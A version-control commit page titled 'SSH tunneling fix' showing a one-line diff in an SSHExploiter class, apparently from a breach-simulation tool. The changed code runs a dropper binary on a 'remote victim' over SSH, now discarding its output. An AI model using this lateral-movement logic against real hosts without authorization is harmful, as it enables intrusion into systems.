SSH tunneling fix

This commit is contained in:
VakarisZ 2020-04-08 12:11:41 +03:00
parent a873525cc0
commit 2c2af5451d
1 changed files with 1 additions and 1 deletions

View File

@ -180,7 +180,7 @@ class SSHExploiter(HostExploiter):
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += "&"
cmdline += " > /dev/null 2>&1"
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",